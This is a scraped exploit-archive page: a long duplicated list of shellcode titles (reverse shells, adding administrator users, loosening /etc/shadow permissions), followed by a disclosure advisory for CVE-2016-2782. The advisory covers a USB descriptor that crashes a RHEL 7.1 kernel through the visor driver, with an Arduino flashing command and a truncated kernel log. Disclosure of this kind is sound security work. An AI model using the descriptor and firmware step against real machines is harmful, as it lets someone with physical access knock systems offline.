Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 English - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes) Win32 - Checksum Routine Shellcode (18 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes) Windows x86 - Checksum Routine Shellcode (18 bytes) Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes) Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes) Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader Port 0x1337 Shellcode ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader (0x1337/TCP) Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes) Win32 - Speaking 'You got pwned!' Shellcode FreeBSD/x86 - connect back Shellcode (81 bytes) BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes) Win32 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes) Linux/x86 - ASLR deactivation Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator) Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator) BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes) Windows x86 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes) Linux/x86 - Disable ASLR Security Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes) Linux/x86 - Egghunter Shellcode (29 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes) Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator) Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes) Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes) Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes) Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes) Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes) Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes) Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes) Windows x64 - Bind TCP Shell Shellcode (508 bytes) Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes) Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes) Windows RT ARM - Bind Shell 4444/TCP Shellcode Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode Windows - Messagebox Shellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes) Windows - Add Administrator 'BroK3n' Shellcode (194 bytes) Windows - Messagebox Null-FreeShellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes) Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes) Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes) Linux/x86 - Disable ASLR Shellcode (84 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes) Win32/XP SP3 - Restart computer Shellcode (57 bytes) Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes) Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes) Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes) Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes) Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes) Linux/x86 - exec('/bin/dash') Shellcode (45 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes) Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes) Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes) OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes) Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator) Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator) OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes) Linux/x86-64 - /bin/sh Shellcode (34 bytes) Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes) OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes) Linux/x86-64 - execve /bin/sh Shellcode (34 bytes) Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes) Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python) Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes) Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes) Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes) Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Win32 .Net Framework - Execute Native x86 Shellcode Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator) Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes) Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes) Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shellcode (64 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes) Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes) Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes) Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes) Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes) Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x64 - WinExec() Shellcode (93 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes) Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator) Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind TCP Dual/Multi Mode Shell Shellcode (156 bytes) Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Flush IPTables Polymorphic Shellcode (47 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Polymorphic Shell (127.0.0.1:1234) Shellcode (106 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Shellcode (67 bytes) Linux/x86 - Reverse /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Disable ASLR Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Shellcode (113 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/x86-64 - /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) setuid(0) setgid(0) (XOR Encoded) Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux x86 - /bin/sh Shellcode (24 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86_64 - kill All Processes Shellcode (19 bytes) Linux/x86_64 - Kill All Processes Shellcode (19 bytes) Php Cloud mining Script - Authentication Bypass (Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
618 lines
No EOL
27 KiB
Text
Executable file
618 lines
No EOL
27 KiB
Text
Executable file
OS-S Security Advisory 2016-10
|
|
Linux visor (treo_attach) Nullpointer Dereference
|
|
|
|
Date: March 4th, 2016
|
|
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
|
|
CVE: CVE-2016-2782
|
|
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
|
|
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid
|
|
USB device descriptors (visor treo_attach driver)
|
|
Severity: Critical. The Kernel panics. A reboot is required.
|
|
Ease of Exploitation: Trivial
|
|
Vulnerability type: Wrong input validation
|
|
Products: RHEL 7.1 including all updates
|
|
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
|
|
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
|
|
Vendor: Red Hat
|
|
Vendor contacted: November, 12th 2015
|
|
PDF of advisory: https://os-s.net/advisories/OSS-2016-10_visor_treo_attach.pdf
|
|
|
|
Abstract:
|
|
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
|
|
device requiring the visor (treo_attach) driver.
|
|
|
|
Detailed product description:
|
|
We confirmed the bug on the following system:
|
|
RHEL 7.1
|
|
Kernel 3.10.0-229.20.1.el7.x86_64
|
|
Further products or kernel versions have not been tested.
|
|
How reproducible: Always
|
|
Actual results: Kernel crashes.
|
|
|
|
Description:
|
|
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
|
|
(github.com/schumilo) using the following device descriptor:
|
|
|
|
[*] Device-Descriptor
|
|
bLength: 0x12
|
|
bDescriptorType: 0x1
|
|
bcdUSB: 0x200
|
|
bDeviceClass: 0x3
|
|
bDeviceSubClass: 0x0
|
|
bDeviceProtocol: 0x0
|
|
bMaxPacketSize: 0x40
|
|
idVendor: 0x82d
|
|
idProduct: 0x200
|
|
bcdDevice: 0x100
|
|
iManufacturer: 0x1
|
|
iProduct: 0x2
|
|
iSerialNumbers: 0x3
|
|
bNumConfigurations: 0x1
|
|
|
|
The treo_attach function does not use the num_ports (struct usb_serial) value
|
|
for any kind of sanity checks during the initialization process. Due to an
|
|
incomplete sanity check, the driver could try to dereference a null-pointer if
|
|
a malformed device-descriptor is presented (zero-value for bNumEndpoints or no
|
|
required endpoint-descriptors is provided).
|
|
This results in a crash of the system.
|
|
|
|
****
|
|
...
|
|
554 #define COPY_PORT(dest, src) 555 do { 556 int i; 557 558 for (i = 0; i < ARRAY_SIZE(src->read_urbs); ++i) { 559 dest->read_urbs[i] = src->read_urbs[i]; \ /* Possible
|
|
Nullpointer-Dereference */
|
|
560 dest->read_urbs[i]->context = dest; 561 dest->bulk_in_buffers[i] = src->bulk_in_buffers[i]; 562 } 563 dest->read_urb = src->read_urb; 564 dest->bulk_in_endpointAddress = src->bulk_in_endpointAddress;565 dest->bulk_in_buffer = src->bulk_in_buffer; 566 dest->bulk_in_size = src->bulk_in_size; 567 dest->interrupt_in_urb = src->interrupt_in_urb; 568 dest->interrupt_in_urb->context = dest; 569 dest->interrupt_in_endpointAddress = 570 src->interrupt_in_endpointAddress;571 dest->interrupt_in_buffer = src->interrupt_in_buffer; 572 } while (0);
|
|
573
|
|
574 swap_port = kmalloc(sizeof(*swap_port), GFP_KERNEL);
|
|
575 if (!swap_port)
|
|
576 return -ENOMEM;
|
|
577 COPY_PORT(swap_port, serial->port[0]); /* no sanity-check! */
|
|
578 COPY_PORT(serial->port[0], serial->port[1]); /* no sanity-check! */
|
|
579 COPY_PORT(serial->port[1], swap_port); /* no sanity-check! */
|
|
...
|
|
****
|
|
|
|
[*] Configuration-Descriptor
|
|
bLength: 0x9
|
|
bDescriptorType: 0x2
|
|
wTotalLength: 0x27
|
|
bNumInterfaces: 0x1
|
|
bConfigurationValue: 0x1
|
|
iConfiguration: 0x0
|
|
bmAttributes: 0x0
|
|
bMaxPower: 0x31
|
|
[*] Interface-Descriptor
|
|
bLength: 0x9
|
|
bDescriptorType: 0x4
|
|
bInterfaceNumber: 0x0
|
|
bAlternateSetting: 0x0
|
|
bNumEndpoints: 0x3
|
|
bInterfaceClass: 0x0
|
|
bInterfaceSubClass: 0x0
|
|
bInterfaceProtocol: 0x0
|
|
[*] Endpoint-Descriptor:
|
|
bLength: 0x7
|
|
bDescriptorType: 0x5
|
|
bEndpointAddress: 0x81
|
|
bmAttribut: 0x3
|
|
wMaxPacketSize: 0x404
|
|
bInterval: 0xc
|
|
[*] Endpoint-Descriptor:
|
|
bLength: 0x7
|
|
bDescriptorType: 0x5
|
|
bEndpointAddress: 0x1
|
|
bmAttribut: 0x2
|
|
wMaxPacketSize: 0x4
|
|
bInterval: 0xc
|
|
[*] Endpoint-Descriptor:
|
|
bLength: 0x7
|
|
bDescriptorType: 0x5
|
|
bEndpointAddress: 0x82
|
|
bmAttribut: 0x1
|
|
wMaxPacketSize: 0x4
|
|
bInterval: 0xc
|
|
|
|
Proof of Concept:
|
|
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
|
|
firmware will emulate the defective USB device.
|
|
|
|
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
|
|
flash:w:binary.hex
|
|
|
|
The firmware has been attached to this bug report.
|
|
To prevent the automated delivery of the payload, a jumper may be used to
|
|
connect port D3 and 3V3!
|
|
|
|
Severity and Ease of Exploitation:
|
|
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
|
|
only physical access to the system is required.
|
|
|
|
Vendor Communication:
|
|
We contacted Red Hat on the November, 12th 2015.
|
|
This bug was fixed upstream. A CVE number was not assigned.
|
|
|
|
References:
|
|
https://bugzilla.redhat.com/show_bug.cgi?id=1283374
|
|
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?i
|
|
d=cac9b50b0d75a1d50d6c056ff65c005f3224c8e0
|
|
|
|
Kernel Stacktrace:
|
|
|
|
[ 35.176832] usb 1-1: new full-speed USB device number 2 using xhci_hcd
|
|
[ 35.400183] usb 1-1: New USB device found, idVendor=082d, idProduct=0200
|
|
[ 35.407780] usb 1-1: New USB device strings: Mfr=1, Product=2,
|
|
SerialNumber=3
|
|
[ 35.417186] usb 1-1: Product: Ä?
|
|
[ 35.421846] usb 1-1: Manufacturer: Ä?
|
|
[ 35.425686] usb 1-1: SerialNumber: %
|
|
[ 35.438608] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc
|
|
says 96 microframes
|
|
[ 35.493316] usbcore: registered new interface driver visor
|
|
[ 35.503150] usbserial: USB Serial support registered for Handspring Visor /
|
|
Palm OS
|
|
